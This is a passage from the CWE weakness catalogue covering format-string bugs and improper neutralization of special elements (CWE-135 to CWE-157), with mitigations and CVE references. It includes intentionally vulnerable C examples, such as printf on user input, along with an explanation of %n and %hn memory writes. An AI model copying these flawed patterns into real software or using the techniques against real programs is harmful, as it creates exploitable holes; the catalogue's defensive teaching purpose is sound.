#include <stdio.h>
void printWrapper(char *string) {
    printf(string);
}
int main(int argc, char **argv) {
    char buf[5012];
    memcpy(buf, argv[1], 5012);
    printWrapper(argv[1]);
    return (0);
}
```

The example is exploitable, because of the call to `printf()` in the `printWrapper()` function. Note: The stack buffer was added to make exploitation more simple.

Example 2:

The following code copies a command line argument into a buffer using `snprintf()`.

Example Language: C

(bad)

```
int main(int argc, char **argv){
    char buf[128];
    ...
    snprintf(buf,128,argv[1]);
}
```

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as `%x`, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the `%n` formatting directive, the attacker can write to the stack, causing `snprintf()` to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

Example 3:

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for `glibc`:

Example Language: C

(bad)

```
printf("%d %d %1$d %1$d\n", 5, 9);
```

This code produces the following output: 5 9 5 5 It is also possible to use half-writes (`%hn`) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

Observed Examples

Notes

Applicable Platform

This weakness is possible in any programming language that support format strings.

Other

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program. Frequently targeted entities are file names, process names, identifiers. Format string problems are a classic

C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, they can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

Research Gap

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

CWE-135: Incorrect Calculation of Multi-Byte String Length

Weakness ID : 135

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not correctly calculate the length of strings that can contain wide or multi-byte characters.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-----------------------|------|
| ChildOf | P | 682 | Incorrect Calculation | 1365 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|-----|---------------|------|
| MemberOf | C | 133 | String Errors | 2026 |

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|--|--|------------|
| Integrity Confidentiality Availability | Execute Unauthorized Code or Commands <i>This weakness may lead to a buffer overflow. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.</i> | |
| Availability Confidentiality | Read Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i> | |
| Confidentiality | Read Memory <i>In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be</i> | |

| Scope | Impact | Likelihood |
|-------|--|------------|
| | used to craft further attacks, possibly with more severe consequences. | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Always verify the length of the string unit character.

Phase: Implementation

Strategy = Libraries or Frameworks

Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar_t, etc.)

Demonstrative Examples

Example 1:

The following example would be exploitable if any of the commented incorrect malloc calls were used.

Example Language: C

(bad)

```
#include <stdio.h>
#include <strings.h>
#include <wchar.h>
int main() {
    wchar_t wideString[] = L"The spazzy orange tiger jumped " \
    "over the tawny jaguar.";
    wchar_t *newString;
    printf("Strlen() output: %d\nWcslen() output: %d\n",
    strlen(wideString), wcslen(wideString));
    /* Wrong because the number of chars in a string isn't related to its length in bytes //
    newString = (wchar_t *) malloc(strlen(wideString));
    */
    /* Wrong because wide characters aren't 1 byte long! //
    newString = (wchar_t *) malloc(wcslen(wideString));
    */
    /* Wrong because wcslen does not include the terminating null */
    newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));
    /* correct! */
    newString = (wchar_t *) malloc((wcslen(wideString) + 1) * sizeof(wchar_t));
    /* ... */
}
```

The output from the printf() statement would be:

Example Language:

(result)

```
Strlen() output: 0
Wcslen() output: 53
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-138: Improper Neutralization of Special Elements

Weakness ID : 138

Status: Draft

Structure : Simple

Abstraction : Class

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.

Extended Description

Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If software does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol < ("less than") as meaning "read input from a file".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

|-----------------|---------------------------------------|------------|
| Confidentiality | Execute Unauthorized Code or Commands | |
| Integrity | Alter Execution Logic | |
| Availability | DoS: Crash, Exit, or Restart | |
| Other | | |

Potential Mitigations

Phase: Implementation

Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their software system. One defense is to create an allowlist (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the allowlist. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for

malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Use and specify an appropriate output encoding to ensure that the special elements are well-defined. A normal byte sequence in one encoding could be a special element in another.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2001-0677 | Read arbitrary files from mail client by providing a special MIME header that is internally used to store pathnames for attachments. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0677 |
| CVE-2000-0703 | Setuid program does not cleanse special escape sequence before sending data to a mail program, causing the mail program to process those sequences. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0703 |
| CVE-2003-0020 | Multi-channel issue. Terminal escape sequences not filtered from log files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0020 |
| CVE-2003-0083 | Multi-channel issue. Terminal escape sequences not filtered from log files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0083 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| MemberOf |  | 1347 | OWASP Top Ten 2021 Category A03:2021 - Injection | 1344 | 2205 |

Notes

Relationship

This weakness can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special elements.

Relationship

See this entry's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.

Research Gap

This weakness is probably under-studied for proprietary or custom formats. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2000-0293 | Multiple internal space, insufficient quoting - program does not use proper delimiter between values. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0293 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-143: Improper Neutralization of Record Delimiters

Weakness ID : 143

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---------------------------------------|------|
| ChildOf |  | 140 | Improper Neutralization of Delimiters | 351 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Developers should anticipate that record delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2004-1982 | Carriage returns in subject field allow adding new records to data file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1982 |
| CVE-2001-0527 | Attacker inserts carriage returns and " " field separator characters to add new user/privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0527 |

CWE-145: Improper Neutralization of Section Delimiters

| | |
|------------------------------|---------------------------|
| Weakness ID : 145 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

CWE-147: Improper Neutralization of Input Terminators**Weakness ID :** 147**Status:** Draft**Structure :** Simple**Abstraction :** Variant**Description**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.

Extended Description

For example, a "." in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ChildOf |  | 138 | Improper Neutralization of Special Elements | 348 |
| ParentOf |  | 626 | Null Byte Interaction Error (Poison Null Byte) | 1275 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Developers should anticipate that terminators will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

CWE-149: Improper Neutralization of Quoting Syntax

Weakness ID : 149

Status: Draft

Structure : Simple

Abstraction : Variant

Description

Quotes injected into an application can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 138 | Improper Neutralization of Special Elements | 348 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Developers should anticipate that quotes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2004-0956 | Database allows remote attackers to cause a denial of service (application crash) via a MATCH AGAINST query with an opening double quote but no closing double quote. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0956 |
| CVE-2003-1016 | MIE. MFV too? bypass AV/security with fields that should not be quoted, duplicate quotes, missing leading/trailing quotes. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1016 |

CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences

| | |
|------------------------------|----------------------------|
| Weakness ID : 150 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 138 | Improper Neutralization of Special Elements | 348 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1019 | Validate Inputs | 2149 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Developers should anticipate that escape, meta and control characters/sequences will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

| Reference | Description |
|----------------------|---|

CWE-152: Improper Neutralization of Macro Symbols

Weakness ID : 152

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 138 | Improper Neutralization of Special Elements | 348 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

CWE-155: Improper Neutralization of Wildcards or Matching Symbols

Weakness ID : 155

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.

Extended Description

As data is parsed, an injected element may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ChildOf |  | 138 | Improper Neutralization of Special Elements | 348 |
| ParentOf |  | 56 | Path Equivalence: 'filedir*' (Wildcard) | 102 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Developers should anticipate that wildcard or matching elements will be injected/removed/ manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

CWE-156: Improper Neutralization of Whitespace

| | |
|------------------------------|-----------------------|
| Weakness ID : 156 | Status : Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component.

Extended Description

This can include space, tab, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 138 | Improper Neutralization of Special Elements | 348 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

White space :

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Developers should anticipate that whitespace will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space,

wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2002-0637 | MIE. virus protection bypass with RFC violations involving extra whitespace, or missing whitespace. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0637 |
| CVE-2004-0942 | CPU consumption with MIME headers containing lines with many space characters, probably due to algorithmic complexity (RESOURCE.AMP.ALG). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0942 |
| CVE-2003-1015 | MIE. whitespace interpreted differently by mail clients. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1015 |

CWE-157: Failure to Sanitize Paired Delimiters

| | |
|------------------------------|-----------------------|
| Weakness ID : 157 | Status : Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.

Extended Description

Paired delimiters might include:

- < and > angle brackets
- (and) parentheses
- { and } braces

- [and] square brackets
- " " double quotes
- ' ' single quotes

Relationships

